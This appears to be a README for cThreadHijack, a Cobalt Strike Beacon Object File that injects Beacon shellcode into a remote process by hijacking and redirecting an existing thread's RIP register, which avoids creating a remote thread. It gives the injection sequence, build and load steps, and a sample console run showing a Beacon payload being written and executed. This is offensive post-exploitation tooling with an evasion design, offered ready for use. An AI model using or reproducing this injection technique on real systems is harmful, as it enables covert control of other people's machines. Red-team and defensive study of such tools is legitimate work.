CThreadHijack : Beacon Object File (BOF) For Remote Process Injection Via Thread Hijacking

cThreadHijack is a Beacon Object File (BOF) for remote process injection, via thread hijacking, without spawning a remote thread. Accompanying blog can be found here. cThreadHijack works by injecting raw Beacon shellcode, generated via a user-supplied listener argument, into a remote process, defined by the user-supplied PID argument, via VirtualAllocEx and WriteProcessMemory. Then, instead of spawning a new remote thread via CreateRemoteThread or other APIs, cThreadHijack identifies the first enumerated thread in the target process, suspends it, and retrieves the contents of the thread’s CPU state via a CONTEXT structure. Then, the RIP register member of the CONTEXT structure (on 64-bit systems) is manipulated to point to the address of the aforementioned remote Payload. Prior to execution, a routine is added to wrap the Beacon shellcode inside of a call to CreateThread – giving Beacon its own thread to work in, with this thread being locally spawned, versus being spawned remotely. The CreateThread routine is also wrapped in an NtContinue function call routine, allowing restoration of the previously hijacked thread without crashing the remote process. Beacon payloads for cThreadHijack are generated with a ‘thread’ exit function, allowing process continuation after the Beacon has been exited. Beacon listener names, when containing a space, must be placed in quotes.

BUILDING

• On a Windows machine, open a x64 Native Tools Command Prompt for VS prompt. This can be done by pressing the Windows key and typing x64 Native Tools and selecting the prompt.
• Change directory to C:\path\to\cThreadHijack.
• nmake -f Makefile.msvc build
• Load cThreadHijack.cna through the Cobalt Strike Script Console with load /path/to/cThreadHijack.cna

USAGE

cThreadHijack PID LISTENER_NAME

beacon> cThreadHijack 7340 TESTING
[+] host called home, sent: 268433 bytes
[+] received output:
[+] Target process PID: 7340
[+] received output:
[+] Opened a handle to PID 7340
[+] received output:
[+] Found a thread in the target process! Thread ID: 10212
[+] received output:
[+] Suspending the targeted thread…
[+] received output:
[+] Wrote Beacon shellcode to the remote process!
[+] received output:
[+] Virtual memory for CreateThread and NtContinue routines allocated at 0x201f4ab0000 inside of the remote process!
[+] received output:
[+] Size of NtContinue routine: 64 bytes
[+] Size of CONTEXT structure: 1232 bytes
[+] Size of stack alignment routine: 4
[+] Size of CreateThread routine: 64
[+] Size of shellcode: 261632 bytes
[+] received output:
[+] Wrote payload to buffer to previously allocated buffer inside of!
[+] received output:
[+] Current RIP: 0x7ffa55df69a4
[+] received output:
[+] Successfully pointed the target thread’s RIP register to the shellcode!
[+] received output:
[+] Current RIP: 0x201f4ab0000
[+] received output:
[+] Resuming the thread! Please wait a few moments for the Beacon payload to execute…